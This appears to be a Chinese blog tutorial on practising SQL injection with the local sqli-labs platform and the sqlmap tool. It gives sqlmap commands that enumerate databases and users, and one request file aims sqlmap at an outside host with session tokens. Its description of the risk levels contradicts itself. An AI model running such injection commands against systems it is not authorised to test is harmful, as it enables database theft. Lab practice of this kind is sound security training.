SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)

SQL注入:

sqli-labs:

一个实验平台,里面有完整的SQL注入课程,需要phpstudy环境,因此先安装phpstudy环境

phpstudy:

https://www.xp.cn/

安装后发现数据库和我本机的数据库出现冲突了,只能使用

sc delete mysql

删掉我本机的mysql8服务,如果需要使用原来的mysql,管理员命令下输入

mysqld --install

删除之后成功启动

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第1张图片

启动成功后,去下载sqli-labs:

 https://github.com/Audi-1/sqli-labs

下载后的包导入到php的根目录WWW下,然后将D:\softwares\phpstudy_pro\WWW\sqli\sql-connections目录下的db-creds.inc文件里面的用户名和密码都设置为root

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第2张图片

启动成功后访问

http://127.0.0.1/sqli/

然后点击reset Database for labs重置数据库

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第3张图片

如果重置数据库出现mysql_connect(): The mysql extension is deprecated and will be removed in the future

进入phpstudy,选择php5.5.9版本即可

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第4张图片

sqlmap:

安装sqlmap:不要后面的算法

由于手动注入、半自动化注入效率较低,对于一些常规的、重复性的可以交由神奇sqlmap来完成

sqlmap需要python2的环境,因此,在安装一个python2环境,因为我本机已经有python3环境了,所以安装python2需要注意一点:

先下载Python2:www.python.org

下载后安装就OK了,然后配置环境变量:把安装目录加上去

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第5张图片

然后重命名python.exe改为python2.exe

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第6张图片

打开cmd输入:Python2

image-20220428172101709

表示成功

sqlmap注入sqli-lab测试:

在sqlmap目录输入:

python2 .\sqlmap.py,

出现如下信息表示启动成功,可以使用

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第7张图片

打开sqli-lab 第一章:http://127.0.0.1/sqli/Less-1/

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第8张图片

需要传id可以查到数据库的内容;

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第9张图片

输入地址http://127.0.0.1/sqli/Less-1/?id=4

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第10张图片

可以发现对应数据库数据一致,接下来我们对数据库进行SQL注入测试:

sqlmap命令行输入

python2 sqlmap.py -u "http://127.0.0.1:8080/thymeleaf/listCategory?start=2"

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第11张图片

出现:已经检测到是mysql数据库,是否跳过检测其他类型数据库,输入y

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第12张图片

出现:GET 参数 ‘id’ 易受攻击,我们选择Y,sqlmap就已经判断该链接的数据库以及其他服务版本是具有SQL注入威胁存在的

常用的命令:

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第13张图片

例如:输入

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --dbs直接列出了我的所有数据库

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第14张图片

例如输入

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --current-user直接列出了当前的用户

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第15张图片

也可以通过文件进行注入

文件为payload.txt内容为接口信息

POST /biz/modularity/project114/manyParamsSqlszsfdsfwe HTTP/1.1
Host: http://daily.manateeai.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://daily.manateeai.com
Content-Type: application/json
Origin: http://daily.manateeai.com
Connection: keep-alive
session:dd9cee1fdec64bfba5843c6f1093ae3a
token:a6884edadb24c247c3c632b521f91f77

{
  "name": "张三",
  "pageNum": 2,
  "pageSize": 2
}

输入命令

python2 sqlmap.py -r payload.txt --batch --dbs 直接列出了当前的数据库信息列表

风险等级评测:

探测等级(执行测试的等级(1-5,默认为1) )
参数: --level
共有五个等级,默认为1 ,lv2:cookie; lv3:user-agent,refere; lv5:host 我常使用–level 3

风险等级(执行测试的风险(0-3,默认为1) )
参数: -risk
共有四个风险等级,risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。 常用就是默认1

例如:输入:

python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --level=5 --risk=3

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第16张图片

注意点!!!:

每次注入完需要把C盘有个目录下的缓存文件夹删掉,如果不请掉的话,会拿以前的注入点去注最新的接口,有可能会造成sql注入结果无效

SQL注入(使用sqli-labs案例以及sqlmap自动化注入工具)_第17张图片

你可能感兴趣的:(测试,sql,网络安全)